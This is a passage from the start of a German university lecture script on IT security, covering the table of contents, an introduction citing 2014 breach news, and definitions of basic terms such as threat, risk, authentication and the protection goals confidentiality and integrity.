IT-Sicherheit - Hochschule Darmstadt

Transcrição

IT-Sicherheit
Harald Baier
Michael Braun
Christoph Busch
Andreas Heinemann
Marian Margraf
Ronald C. Moore
Christian Rathgeb
Alois Schütte
Martin Stiemerling
Vorwort
Dieses Manuskript ist als Einführung in die IT-Sicherheit gedacht. Es entsteht in der
aktuellen Fassung aus der Erstsemester-Vorlesung zur IT-Sicherheit an der Hochschule
Darmstadt.
Über konstruktive Kritik im positiven wie negativen Sinne freuen wir uns.
Darmstadt, 20. Mai 2015
die Autoren
iii
Inhaltsverzeichnis
Vorwort
iii
1 Einleitung
1
2 Grundbegriffe
2.1 Grundlegende Begriffe . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2 Schutzziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3 Privacy by Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3
3
6
10
3 Malware
3.1 Über die Unmöglichkeit, das Wort Malware zu definieren . . .
3.1.1 Das Wort Malware . . . . . . . . . . . . . . . . . . . .
3.1.2 Was ist ein sauberes System? . . . . . . . . . . . . . .
3.2 Eine Taxonomie für Malware . . . . . . . . . . . . . . . . . . .
3.3 Malware Klasse 0 . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1 Trojaner . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.2 Viren . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.3 Ausnutzung von Bugs . . . . . . . . . . . . . . . . . .
3.4 Malware Klasse 1 . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.1 Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.2 Backdoors, Logik-Bomben und andere Insider-Angriffe
3.5 Malware Klasse 3: Malware und virtuelle Maschinen . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
13
13
13
14
16
19
19
22
24
24
24
24
26
.
.
.
.
27
28
32
34
37
.
.
.
.
.
.
.
41
41
41
42
44
45
48
50
4 Kryptographie
4.1 Grundlagen der Kryptographie .
4.2 Stromchiffren . . . . . . . . . .
4.3 Blockchiffren . . . . . . . . . . .
4.4 Public-Key-Verfahren . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
5 Netzwerk- und Internetsicherheit
5.1 Grundlegende Eigenschaften von Netzwerken . .
5.1.1 Das Internet . . . . . . . . . . . . . . . .
5.1.2 Eigenschaften von IP-Netzwerken . . . .
5.2 Netzwerksicherheit . . . . . . . . . . . . . . . .
5.2.1 Sicherheit in unterschiedlichen Schichten
5.2.2 Ende-zu-Ende Sicherheit: IPsec . . . . .
5.2.3 Ende-zu-Ende Sicherheit: TLS . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
v
Inhaltsverzeichnis
5.3
5.4
5.2.4 Operative Netzwerksicherheit . . . . . . . . . . . . . . . . . .
Internetsicherheit . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
50
51
51
6 Biometrische Verfahren
53
6.1 Einführung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
6.2 Biometrische Modalitäten und Sensoren . . . . . . . . . . . . . . . . . 60
6.2.1 Gesichtserkennung . . . . . . . . . . . . . . . . . . . . . . . . 60
6.2.2 Fingerbilderkennung . . . . . . . . . . . . . . . . . . . . . . . 62
6.2.3 Venenerkennung . . . . . . . . . . . . . . . . . . . . . . . . . . 66
6.3 Merkmalsextraktion . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
6.3.1 Minutienextraktion bei Fingerbildern . . . . . . . . . . . . . . 68
6.3.2 Local Binary Pattern bei Gesichtsbildern . . . . . . . . . . . . 70
6.4 Biometrische Vergleichsverfahren . . . . . . . . . . . . . . . . . . . . 71
6.4.1 Vergleich von Fingerbildminutien . . . . . . . . . . . . . . . . 72
6.4.2 Vergleich von mehrdimensionalen Merkmalvektoren . . . . . . 74
6.4.3 Vergleich von Binärvektoren . . . . . . . . . . . . . . . . . . . 75
6.5 Biometrische Erkennungsleistung . . . . . . . . . . . . . . . . . . . . 76
6.5.1 Algorithmenfehler . . . . . . . . . . . . . . . . . . . . . . . . . 76
6.5.2 False-Non-Match . . . . . . . . . . . . . . . . . . . . . . . . . 78
6.5.3 Failure-to-Capture . . . . . . . . . . . . . . . . . . . . . . . . 79
6.5.4 Failure-to-eXtract . . . . . . . . . . . . . . . . . . . . . . . . . 80
6.5.5 Failure-to-Enrol . . . . . . . . . . . . . . . . . . . . . . . . . . 81
6.5.6 Failure-to-Acquire . . . . . . . . . . . . . . . . . . . . . . . . . 82
6.5.7 Verification System Performance . . . . . . . . . . . . . . . . . 83
6.5.8 Graphische Darstellung der Erkennungsleistung . . . . . . . . 84
6.6 Privacy Enhance Technology . . . . . . . . . . . . . . . . . . . . . . . 85
6.6.1 Datenschutz Richtlinien und Verordnungen mit Bezug zur Biometrie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
6.6.2 Biometric Template Protection Verfahren . . . . . . . . . . . . 87
6.7 Biometrische Anwendungen . . . . . . . . . . . . . . . . . . . . . . . 89
7 Sicherheit für ubiquitous computing
7.1 Einführung . . . . . . . . . . . . . . . . . . . . . . . .
7.2 Beispielhafte UC-Szenarien . . . . . . . . . . . . . . . .
7.2.1 Mobile Computing . . . . . . . . . . . . . . . .
7.2.2 Spontane Interaktion . . . . . . . . . . . . . . .
7.2.3 Smart Spaces . . . . . . . . . . . . . . . . . . .
7.3 UC-Eigenschaften und zugehörige Risiken . . . . . . .
7.4 UC-Limitierungen und zugehörige Herausforderungen .
7.5 Ausgewählte Lösungsansätze . . . . . . . . . . . . . . .
7.5.1 Privacy-Enhancing Technologies . . . . . . . . .
7.5.2 Grundlegendes Absichern einer Kommunikation
7.5.3 out-of-band-Kommunikation . . . . . . . . . . .
vi
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
95
95
96
96
97
97
98
99
100
100
102
104
Inhaltsverzeichnis
7.6
Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
8 Bewertungskriterien
8.1 Einführung . . . . . . . . . . . . . . . . . . .
8.2 Common Criteria (CC) . . . . . . . . . . . . .
8.2.1 Überblick und Vorgehensweise . . . . .
8.2.2 Funktionsklassen . . . . . . . . . . . .
8.2.3 Schutzprofile und Sicherheitsvorgaben .
8.2.4 Vertrauenswürdigkeitsklassen . . . . .
8.2.5 Evaluierungsstufen . . . . . . . . . . .
9 IT-Sicherheitsmanagement
9.1 IT-Sicherheitskonzept nach
9.2 IT-Strukturanalyse . . . .
9.3 Schadensszenarien . . . . .
9.4 Schutzbedarfsanalyse . . .
9.5 Modellierung . . . . . . .
9.6 Auswahl von Maßnahmen
9.7 Basis-Sicherheitscheck . .
9.8 Erweiterte Risikoanalyse .
IT-Grundschutz
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
10 IT-Forensik
10.1 Grundlagen und Begriffsklärung .
10.2 Prinzipien und Vorgehensmodelle
10.2.1 Prinzipien . . . . . . . . .
10.2.2 Vorgehensmodelle . . . . .
10.3 Ebenen der IT-Forensik und Tools
10.3.1 Datenträgerebene . . . . .
10.3.2 Dateisystemanalyse . . . .
.
.
.
.
.
.
.
11 Sichere Softwareentwicklung
11.1 Pufferüberläufe . . . . . . . . . . .
11.1.1 Schwachstellen . . . . . . .
11.1.2 Angriffsmöglichkeiten . . . .
11.2 Gegenmaßnahmen . . . . . . . . . .
11.2.1 Sichere Funktionen . . . . .
11.2.2 Source Code Audits . . . . .
11.2.3 Automatisierte Softwaretests
11.2.4 Binary Audits . . . . . . . .
11.2.5 Compilererweiterungen . . .
11.3 Zusammenfassung . . . . . . . . . .
11.4 Aufgaben . . . . . . . . . . . . . .
Literaturverzeichnis
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
107
108
108
109
111
112
113
114
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
115
117
118
118
120
121
122
124
124
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
125
126
129
129
131
134
135
138
.
.
.
.
.
.
.
.
.
.
.
145
146
152
153
158
159
167
167
168
168
168
169
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
169
vii
Inhaltsverzeichnis
Index
viii
179
1 Einleitung
Beinahe täglich erleben wir Angriffe auf informationsverarbeitende Systeme. Die
folgenden Beispiele stammen von der Internetseite www.heise.de/security.
1. 24.09.2014 ShellShock: Standard-Unix-Shell Bash erlaubt das Ausführen von Schadcode
Der Entwickler Stephane Chazelas hat eine Sicherheitslücke in der Unix-Shell
Bash gefunden, die unter Umständen das Ausführen von Schadcode aus der
Ferne ermöglicht (CVE-2014-6271). Wie Chazelas entdeckte, lässt sich in Umgebungsvariablen Code einfügen, der beim Start einer neuen Shell ungeprüft
ausgeführt wird. Da Bash auf Unix-Systemen in allen erdenklichen Situationen
genutzt wird, lässt sich schwer absehen, wo ein Angreifer die Lücke als Hebel
einsetzen könnte, um Code auszuführen. Auf Webservern zum Beispiel wird
Bash unter Umständen von CGI-Skripten genutzt. Ein denkbares Angriffsszenario sind GET-Requests über HTTP, da CGI laut den Bash-Entwicklern frei
definierbare Inhalte des Requests in Umgebungsvariablen schreibt.
2. 19.09.2014 Hackerangriff auf Home Depot: 56 Millionen Kreditkarten betroffen
Bei einem Angriff auf das Zahlungssystem der US-Baumarktkette Home Depot
haben Hacker offenbar die Daten von bis zu 56 Millionen Kreditkarten von
Kunden erbeutet, teilte der Handelskonzern am späten Donnerstagabend mit.
Die Schadsoftware war monatelang in den Filialen in den USA und Kanada
unentdeckt geblieben. Inzwischen soll sie komplett entfernt worden sein.
3. 19.08.2014 Hacker erbeuten Daten von 4,5 Millionen Patienten in
den USA
In den USA haben Hacker bei einem Krankenhausbetreiber Daten von etwa 4,5
Millionen Patienten erbeutet. Die betroffene Firma aus Franklin im Bundesstaat
Tennessee glaubt, dass die Cyber-Attacken von China ausgingen, wie sie in
einer Mitteilung an die US-Börsenaufsicht SEC erklärte.
Die Angriffe auf die Firma Community Health Systems sollen im April und
Juni stattgefunden haben. Betroffen seien Patienten, die sich in den letzten
fünf Jahren behandeln ließen. Die Hacker sollen persönliche Daten wie Namen,
Adressen, Geburtstage sowie Telefon- und Sozialversicherungsnummern kopiert
haben. Informationen zu Kreditkarten und Krankenakten seien nicht entwendet
worden.
1
1 Einleitung
Dabei erfolgen die Angriffe aus unterschiedlichsten Motivationen: Neben den klassischen Angriffen von sogenannten White-Hackern, denen es um die Erhöhung der
Sicherheit der sich im Einsatz befindenden IT-Systeme geht oder den schon seit
vielen Jahrzehnten stark professionellen Angriffen im Bereich staatlicher Spionage
oder Industriespionage (die ebenfalls mit Unterstützung der jeweiligen Geheimdienste
stattfindet), hat sich in den letzten Jahren eine globale Schattenwirtschaft etabliert.
Mit erfolgreichen Angriffen auf IT-Systeme lässt sich viel Geld verdienen. Dies betrifft
nicht nur den Verkauf vertraulicher Informationen, sondern zunehmend auch weitere
Bereiche, wie z.B.
• Verkauf gefälschter PayTV-Karten
• Verkauf von Kreditkarteninformationen (Warenkreditbetrug)
• Phishing-Angriffe im Bereich Online-Banking
• Gezielte Störung der Verfügbarkeit von IT-Systemen, z.B. über Botnetze.
Gerade auf Grund dieser globalen Schattenwirtschaft erleben wir einen deutlichen
Anstieg von Angriffen, aber auch eine starke Professionalisierung. Darüber hinaus gibt
es einen etablierten Schwarzmarkt für Verwundbarkeiten von IT-Systemen (Exploits).
Grundsätzlich lassen sich heutige Angriffe in drei große Klassen einordnen:
1. Ungezielte Angriffe z.B. über Massenmails, mit denen Viren, Würmer und
Trojaner versandt oder Phishing-Angriffe durchgeführt werden.
2. Gezielte Angriffe, z.B. zur Sabotage und Spionage, die auf bestimmte Institutionen gerichtet sind (Beispiel DDoS-Angriff auf Estland im April 2007).
3. Skalpellartige Angriffe, z.B. gezielte Sabotage auf bestimmte IT-Systeme (Beispiel Stuxnet) oder auf Zertifikatediensteanbieter (Beispiel Fälschung von sslZertifikaten der niederländischen Firma DigiNotar im Juli 2011, hiervon war
auch das Serverzertifikat von google.com betroffen).
Einer der Gründe für den Erfolg der Angriffe ist die Fehleranfälligkeit der eingesetzten Software. Heute genutzte Betriebssysteme haben einen Umfang von 86.000.000
Zeilen Source-Code. Untersuchungen zeigen, dass die statistische Fehlerquote bei ca.
0.25 Prozent liegt. Dies bedeutet bei Betriebssystemen also ca. 200.000 potentiell
ausnutzbare Fehler. Rechnet man die Fehler der genutzten Anwendersoftware mit
ein, so ergibt sich eine schier unbegrenzte Anzahl von Sicherheitslücken.
Ziel des vorliegenden Skriptes ist es, die unterschiedlichen Aspekte der IT-Sicherheit
zu behandeln, um einen grundlegenden Überblick über dieses heterogene Gebiet zu
erhalten. Wir beschäftigen uns mit der zentralen Basistechnik Kryptographie sowie
den Themengebieten Netzwerk-/Internetsicherheit, Biometrie, Malware, IT-Forensik,
IT-Sicherheitsmanagement, Ubiquitous Computing sowie Sicherer Software.
2
2 Grundbegriffe
In diesem Abschnitt wollen wir auf die grundlegenden Begriffe im Kontext der ITSicherheit eingehen. In diesem Abschnitt orientieren wir uns an der Literatur von
Claudia Eckert[?], Dieter Gollmann[?], William Stallings[?] sowie an den Grundschutzstandards des BSI[?].
2.1 Grundlegende Begriffe
Information und Daten
Bevor wir einen technischen Bezug zu IT-Systemen herstellen, wollen wir uns zuerst
den Unterschied zwischen Daten und Informationen verdeutlichen. Obschon wir ein
intuitives Verständnis für den Begriff Information haben, ist eine Definition eher
schwierig. Der Duden1 gibt unter Anderem die folgenden Erklärungen:
1 das Informieren; Unterrichtung über eine bestimmte Sache; Kurzwort: Info
2a [auf Anfrage erteilte] über alles Wissenswerte in Kenntnis setzende, offizielle,
detaillierte Mitteilung über jemanden, etwas
2a Äußerung oder Hinweis, mit dem jemand von einer [wichtigen, politischen]
Sache in Kenntnis gesetzt wird.
Eine Information hat für den Empfänger einen Neuigkeitsgehalt, ihre Form kann
unterschiedlich sein: gesprochen, geschrieben, gedacht, elektronisch.
Im Unterschied dazu repräsentieren Daten die Information, etwa als Bytefolge
gespeichert auf einer Festplatte oder als Netzwerkpaket. Eine Information, dh. Wissen,
ergibt sich aus einer entsprechenden Interpretation der Daten. Daher ist Datensicherheit spezieller als Informationssicherheit, denn Ersteres widmet sich ’nur’ der
Repräsentierung der Information, Letzteres der Information selbst (und damit natürlich auch den Daten).
Ein IT-System speichert, verarbeitet und überträgt Informationen – allerdings
werden diese in den IT-Systemen in Form von Datenobjekten repräsentiert und
können über definierte Schnittstellen von anderen Subjekten, z.B. Anwendern oder
IT-Systemen genutzt werden. Ein und dieselbe Information kann sich hierbei in
unterschiedlichen Datenobjekten befinden, so kann beispielsweise der Inhalt eines
Dokuments als Binärzeichenfolge auf der Festplatte oder, im Falle einer Übertragung,
in den Nutzdaten eines IP-Pakets enthalten sein.
1
www.duden.de
3
2 Grundbegriffe
Für den Fluss der Informationen, der bei einer Kommunikation zwischen einem
Sender und Empfänger stattfindet, sind entsprechende Kanäle notwendig. Wir unterscheiden hierbei legitime Kanäle, die für den Informationsaustausch vorgesehen sind,
und verdeckte Kanäle, die für einen Informationsaustausch, absichtlich oder unabsichtlich, missbraucht werden können. Beispiele für verdeckte Kanäle ist der Austausch
zwischen Sender und Empfänger über versteckte Botschaften in Bildern (Steganographie) oder das Injizieren von Bytes in unbenutzte Felder eines Netzwerkpaket-Headers.
Ebenso wäre es möglich, dass Ausführungszeiten von Prozessen einem Beobachter
wertvolle Informationen liefern (sogenannte Seitenkanäle).
IT-Sicherheit vs. Informationssicherheit
Wir sehen uns zunächst den allgemeinen Begriff der Sicherheit an. Dieser beschreibt
einen Zustand oder subjektiven Eindruck frei von Gefahr. Dies bedeutet, dass ein
Subjekt oder Objekt, sei es eine Person oder ein Gut, vor negativen Einflüssen einer
potentiellen Bedrohung geschützt ist. Interessant ist das Attribut subjektiv, bedeutet
es doch, dass Sicherheit nur relativ zur eigenen Wahrnehmung ist. Und das wird
politisch oft ausgenutzt (man denke nur an die Anti-Terrorgesetze in der Folge der
Anschläge vom 11.09.2001, über deren Sicherheitsgewinn durchaus diskutiert werden
kann).
Betrachten wir im nächsten Schritt ein IT-System, welches Informationen verarbeitet, speichert und überträgt. Typischerweise wollen wir die Informationen bzw.
Daten vor potentiellen Gefahren schützen. Hierbei bedarf es einer Unterscheidung
der Begriffe Informationssicherheit und IT-Sicherheit, wie sie zum Beispiel vom
Bundesamt für Sicherheit in der Informationstechnik (BSI) vorgenommen wird [?].
Die Informationssicherheit beschreibt den Schutz der Informationen, und zwar
unabhängig von ihrer Repräsentation. Das heißt, die Informationen können z.B. auf
Papier oder in elektronischer Form auf einem Rechner gespeichert sein. Die ITSicherheit befasst sich andererseits mit dem Schutz der elektronischen Informationen
und bildet somit ein Teilgebiet der Informationssicherheit.
Es ist üblich, den deutschen Begriff Sicherheit mit zwei unterschiedlichen Bedeutungen zu belegen, die im Englischen als Safety sowie Security übersetzt werden.
Eckert[?] beschreibt Safety als Funktionssicherheit. Diese beschreibt die Eigenschaft,
keine unzulässigen Zustände anzunehmen, das heißt, das System unterliegt keiner
Fehlfunktion; es funktioniert unter normalen Betriebsbedingungen wie vorgesehen
(daher wird Safety oft auch Betriebssicherheit genannt). Auf der anderen Seite wird
Informationssicherheit mit Security übersetzt. Bei Security betrachtet man die Resistenz von IT-Systemen gegenüber Angreifern. Daher spricht man im Zusammenhang
mit Security oft auch von Angriffssicherheit.
Betrachten wir die Motivation der IT-Sicherheit, so wollen wir unerwünschte Effekte,
die durch Dritte verursacht werden, vermeiden, frühzeitig erkennen und ebenfalls auf
diese rechtzeitig reagieren, um einen Schaden abzuwenden.
4
2.1 Grundlegende Begriffe
Authentifikation und Autorisation
Informationen sind oft nur bestimmten Personen vorbehalten, daher besteht die
Notwendigkeit, den Zugang zu einem IT-System und den Zugriff auf die Daten in
geeignetem Maße zu kontrollieren. So ist es oft erforderlich, dass ein Subjekt für
den Zugang zu einem System einen Identitätsnachweis erbringt: der Nutzer muss
sich authentifizieren. Nach erfolgreicher Authentifikation gelingt der Zugriff auf Informationen bzw. auf Daten aber nur bei Vorlage entsprechender Berechtigungen: das
authentifizierte Subjekt ist für den Zugriff autorisiert, wenn es eine entsprechende Berechtigung besitzt. Je nach Autorisation kann dies eine Lese- oder Schreibberechtigung
sein.
Authentifikation und Autorisation werden oft verwechselt, daher ist ein sorgsamer
Umgang mit den beiden Begriffen ratsam.
Bedrohung, Angriff, Risiko
In Abschnitt 2.2 werden wir grundlegende Schutzziele der Informationssicherheit wie
Vertraulichkeit oder Verfügbarkeit erklären. Grundsätzlich kann eine Gefährdung
dieser Schutzziele aus unterschiedlichen Faktoren hervorgehen. Es können z.B. eine
absichtliche Handlung, Fehlfunktionen des Systems oder Fahrlässigkeiten seitens der
Anwender vorliegen. Das BSI unterscheidet in den Grundschutzkatalogen folgende
Klassen von Gefährdungsfaktoren für die Sicherheit von IT-Systemen:
• Höhere Gewalt
• Vorsätzliche Handlungen
• Technische Fehler
• Fahrlässigkeit
• Organisatorische Mängel
Im Kontext der IT-Sicherheit stellt eine Bedrohung eine potenzielle Gefährdung der
Schutzziele dar. Aus dieser potenziellen Gefährdung kommt dann ein tatsächlicher
negativer Effekt zu Stande, wenn es einem Angreifer gelingt, eine Verwundbarkeit
eines Systems auszunutzen und somit, je nach Angriff, ein bestimmtes Schutzziel zu
brechen.
Hierbei bezeichnet eine Verwundbarkeit eine Schwachstelle beziehungsweise eine
Sicherheitslücke des Systems, mittels derer die vorhandenen Sicherheitsmechanismen
umgangen oder getäuscht werden können. Als Beispiel seien hier schwache User Credentials (z.B. ein schwaches Passwort wie im Fall des iCloud-Vorfalls im August 2014)
oder eine unzureichend konfigurierte Firewall genannt. Eine Schwachstelle kann zum
Beispiel durch eine Fehlfunktionen einer Anwendung oder einen Programmierfehler
entstehen.
Ein Angriff bezeichnet einen unautorisierten Zugriff bzw. einen unautorisierten
Zugriffsversuch auf ein IT-System oder eine Information. Technische Angriffe lassen
5
2 Grundbegriffe
sich in zwei Kategorien unterteilen: aktive und passive Angriffe. Passive Angriffe
ermöglichen dem Angreifer eine unautorisierte Informationsgewinnung. Bei dieser Art
von Angriffen handelt es sich z.B. um das Abhören von Datenleitungen (Sniffing) oder
das unautorisierte Lesen aus Dateien. Passive Angriffe richten sich typischerweise
gegen die Vertraulichkeit eines Systems.
Ein aktiver Angriff stellt eine unautorisierte Informationsveränderung dar und
richtet sich typischerweise gegen die Integrität oder Verfügbarkeit des Systems. Zu
dieser Kategorie von Angriffen zählen z.B. Maskierungsangriffe (Spoofing), dh. das
Vortäuschen einer falschen Identität. Durch DNS-Spoofing ist es z.B. möglich, die
Identität eines DNS-Servers anzunehmen und die Anfragen von Clients mit gefälschten
Daten zu beantworten. Weitere Beispiele aktiver Angriffe sind Denial of Service
Angriffe, dh. das Überschwemmen von Rechnernetzen mit Nachrichten, um somit die
Verfügbarkeit der Systemkomponenten zu beeinträchtigen.
Die Risikoabschätzung hilft bei der Priorisierung der Etablierung verschiedener
Sicherheitsmechanismen und ist Gegenstand der Bedrohungs- und Risikoanalyse.
Das Risiko berücksichtigt zwei Aspekte: die Eintrittswahrscheinlichkeit eines Ereignisses (in diesem Fall die Ausnutzung einer Schwachstelle) und die Höhe das
daraus resultierenden Schadens. Extremfälle sind sehr wahrscheinliche Ereignisse mit
hohem Schadensfall bzw. sehr unwahrscheinliche Ereignisse mit vernachlässigbarer
Schadenshöhe. Im ersten Fall soll das Risiko hoch, im zweiten Fall niedrig sein.
Mathematisch kann man das z.B. einfach durch das Produkt der beiden Aspekte
ausdrücken:
Risiko = Eintrittswahrscheinlichkeit · Schadenshöhe .
Allerdings lässt sich dieser Wert nur schwer quantifizieren, da nicht nur die zu
schützenden Güter mit ihren Werten erfasst und bewertet werden müssen, sondern
auch abhängig von potenziellen Angreifern und deren Fähigkeiten die Eintrittswahrscheinlichkeit. Das Risiko ist daher eher qualitativ als quantitativ zu sehen im Sinne
einer Priorisierungsunterstützung.
Für die Bedrohungs- und Risikoanalyse stehen mehrere Frameworks, wie zum
Beispiel das Common Vulnerability Scoring System [?] oder das DREAD Modell [?]
zur Verfügung, auf die bei der Analyse zurückgegriffen werden kann.
Betrachten wir ein Beispiel, wie wir auf einfache Weise das Risiko bestimmen können.
Hierzu definieren wir jeweils das Schadenspotential und die Eintrittswahrscheinlichkeit
einer Bedrohung auf einer Skala von 1 (gering) bis 3 (hoch) und stellen diese in einer
Matrix bzw. Tabelle gegenüber. Das Risiko berechnet sich dann nach obiger Formel
und das Ergebnis liegt im Bereich 1 (unbedeutend) bis 9 (kritisch).
2.2 Schutzziele
Für einen Schutz des Systems benötigen wir eine klare Aussage, was Ziel der Sicherheitsmaßnahmen sein soll. Ein typisches Schutzziel ist es, nur authentifizierten
6
2.2 Schutzziele
Personen Zugang zum System zu ermöglichen, diese müssen vor Zugriff auf Informationen also zunächst ihre Identität nachweisen. Im Folgenden gehen wir auf die
grundlegenden Schutzziele ein. Diese lassen sich in die klassischen kryptographischen
Schutzziele CIA (Confidentiality, Integrity, Authenticity) sowie weitere Schutzziele wie
Verfügbarkeit, Pseudonymisierung oder Anonymisierung unterteilen. Eine Übersicht
der Schutzziele samt möglicher technischer Maßnahmen stellt Tabelle 2.1 dar.
Schutzziel
Vertraulichkeit
Integrität
Authentizität
Zurechenbarkeit
Verfügbarkeit
Anonymisierung,
Pseudonymisierung
Maßnahme
Zugriffskontrolle, Verschlüsselung
Zugriffskontrolle, elektronische Signatur
Zugangskontrolle, elektronische Signatur
Zugangskontrolle, elektronische Signatur,
Trail/Log
Maßnahmen der Netzwerksicherheit
Proxies samt Verschlüsselung
Audit
Tabelle 2.1: Gegenüberstellung der Schutzziele und technischen Maßnahmen nach
Eckert und Gollmann
Weiterführende Literatur zu diesem Abschnitt bieten die Bücher von Claudia
Eckert[?], Dieter Gollmann[?] und William Stallings[?].
Vertraulichkeit
Unter Vertraulichkeit versteht man, dass Informationen nur für diejenigen Personen
oder Ressourcen zugänglich sind, welche für einen Zugriff berechtigt sind: Ensuring
that information is accessible only to those authorised to have access. Vertraulichkeit
wird im Englischen als Confidentiality bezeichnet. Bitte beachten Sie bei dieser Definition, dass sich Vertraulichkeit nicht auf den Zugriff durch Personen beschränkt.
Wir haben den allgemeineren Begriff der Ressource verwendet, um auch automatisierte Zugriffe (z.B. ein Betriebssystemprozess will lesend auf eine Datei zugreifen)
einzubeziehen.
Es gibt verschiedene Techniken, um Vertraulichkeit technisch zu erreichen. Man
unterscheidet die beiden Ansätze, ob ein Angreifer die Existenz einer vertraulichen
Information kennt oder nicht.
Im ersten Fall weiß der Angreifer zwar, dass vertraulich kommuniziert wird, er
kann aber nicht den Inhalt lesen. Dies erreicht man technisch durch Zugriffskontrolle
oder durch Verschlüsselung. So soll beispielsweise der Inhalt einer Email nur vom
Empfänger lesbar sein. Der Angreifer kann nun versuchen, auf die auf dem Mailserver
gespeicherte Email lesend zuzugreifen. Das kann durch entsprechende Zugriffsrechte
verhindert werden (z.B. nur der Anwender, der zuvor seine Identität nachgewiesen
hat, darf auf das Mailkonto zugreifen). Oder der Angreifer greift die Mail während
7
2 Grundbegriffe
des Transports an einem Internetknoten ab. In diesem Fall ist der Inhalt nur dann
geschützt, wenn die Email vor Versand verschlüsselt wurde.
Im zweiten Fall werden nicht nur Dokumente bzw. Dateien gegen einen unberechtigten Zugriff geschützt, sondern es wird auch deren Existenz verborgen. Dieser
Ansatz heißt Steganographie. Heute gibt es steganographische Programme, die kurze
Textnachrichten in einem Bild verstecken (z.B. SteganoG2 ). Der Absender übermittelt
dann das unverfängliche Bild, während der Angreifer die darin versteckte Nachricht
nicht erkennt.
In einem anderen Beispiel könnte ein Angreifer die Verbindungsdaten einer Kommunikation betrachten und hieraus, ungeachtet des Inhalts, ebenfalls wichtige Information gewinnen. Das ist gerade der Kern der Diskussionen um Privatsphäre im
Zusammenhang mit den Abhörprogrammen der NSA und des GCHQ. Aus diesem
Kontext ergeben sich weitere Schutzziele, wie beispielsweise die Anonymität eines
Subjekts. Dazu kommen wir dann später.
Integrität
Integrität leitetet sich aus dem Lateinischen integritas ab und bedeutet Unversehrtheit, Reinheit, Vollständigkeit. Im Kontext der IT-Sicherheit sprechen wir von der
Unverändertheit der Daten. Das Schutzziel der Integrität einer Information stellt
somit sicher, dass diese nicht unautorisiert geändert wurde.
Betrachten wir dies wieder am Beispiel einer Email oder einer Datei, so soll
sichergestellt werden, dass deren Inhalt nicht unbemerkt verändert wird und dies
auch überprüfbar ist.
Die Gewährleistung dieses Schutzziels kann – analog zur Vertraulichkeit – durch geeignete Zugriffskontrolle in Form von Schreibrechten oder durch eine kryptographische
Basistechnik (elektronische Signatur) erreicht werden. Im Fall der Zugriffskontrolle
